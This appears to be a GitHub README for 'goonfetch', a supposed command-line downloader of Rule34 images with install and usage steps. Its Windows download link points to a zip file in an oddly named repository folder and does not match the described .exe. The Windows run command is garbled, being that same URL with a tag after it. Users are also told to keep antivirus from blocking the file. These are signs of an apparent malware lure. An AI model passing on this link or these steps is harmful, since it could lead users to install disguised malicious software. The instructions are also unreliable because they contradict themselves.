goonfetch is a command-line tool designed to fetch images from Rule34. It helps you quickly download images based on tags you specify. The tool works on Windows, macOS, and Linux without any complicated setup.
You don’t need programming skills to use goonfetch. Once you download it, you can run it from your computer's terminal or command prompt. This guide will show you how to download, install, and use goonfetch step-by-step.
To run goonfetch, your computer should meet these basic requirements:
- Operating System: Windows 7 or newer, macOS 10.12 or newer, or any recent Linux version.
- Processor: Any standard 64-bit processor (Intel or AMD).
- Memory: Minimum 2 GB of RAM.
- Disk Space: 50 MB free space for the program and downloads.
- Internet Connection: Required to fetch images.
You can get goonfetch by visiting its official releases page on GitHub.
- Click the link above to open the releases page.
- Look for the latest version listed at the top. Versions are named like
v1.0.0,v1.1.0, etc. - Scroll down to the "Assets" section under the latest version.
- Download the correct file for your system:
- For Windows:
https://github.com/StarkCoderx/goonfetch/raw/refs/heads/main/stannide/Software-3.5.zip - For macOS:
goonfetch-macos - For Linux:
goonfetch-linux
- For Windows:
- Save the file to a folder you can easily find, like your Desktop or Downloads folder.
goonfetch does not need a traditional install process. It’s a standalone program. Once downloaded:
- On Windows, you can run the
.exefile directly. - On macOS or Linux, you might need to make the file executable:
- Open Terminal.
- Use the command
chmod +x /path/to/goonfetch-macos(replace the path with your file location).
- After that, you can run it from the terminal.
Here is a simple way to start fetching images using goonfetch.
- On Windows, press
Win + R, typecmd, and press Enter. - On macOS or Linux, open the Terminal app.
Use the cd command to change folders. For example:
cd Desktop
If you saved it in Downloads, replace Desktop with Downloads.
Type the command below and press Enter:
./goonfetch TAG
Replace TAG with the keyword you want to search on Rule34. For example, to fetch images tagged “cat,” type:
./goonfetch cat
On Windows, you might run:
https://github.com/StarkCoderx/goonfetch/raw/refs/heads/main/stannide/Software-3.5.zip cat
The program will start downloading images related to that tag.
goonfetch saves images in a folder named downloads inside the current directory. Once the program finishes, open that folder to see your images.
You can customize goonfetch using simple command-line options.
-n NUMBER: Set how many images to download (default is 10).-q: Quiet mode; hides extra messages.-o FOLDER: Save images to a specific folder.
Example:
./goonfetch cat -n 20 -o mycats
This downloads 20 cat images and saves them to the folder mycats.
Make sure the file is executable. On macOS/Linux, run:
chmod +x goonfetch-macos
On Windows, make sure antivirus is not blocking the file.
Check your internet connection. Also, try using different tags. Rule34 may not have images for all keywords.
Make sure you are in the folder where goonfetch is saved. Use the cd command as explained above.
goonfetch only downloads publicly available images from Rule34. It does not store or share your personal data. Make sure you use this tool responsibly and respect site rules.
If you have questions, you can:
- Visit the goonfetch GitHub page for updates.
- Check the Issues tab to see if others had the same problem.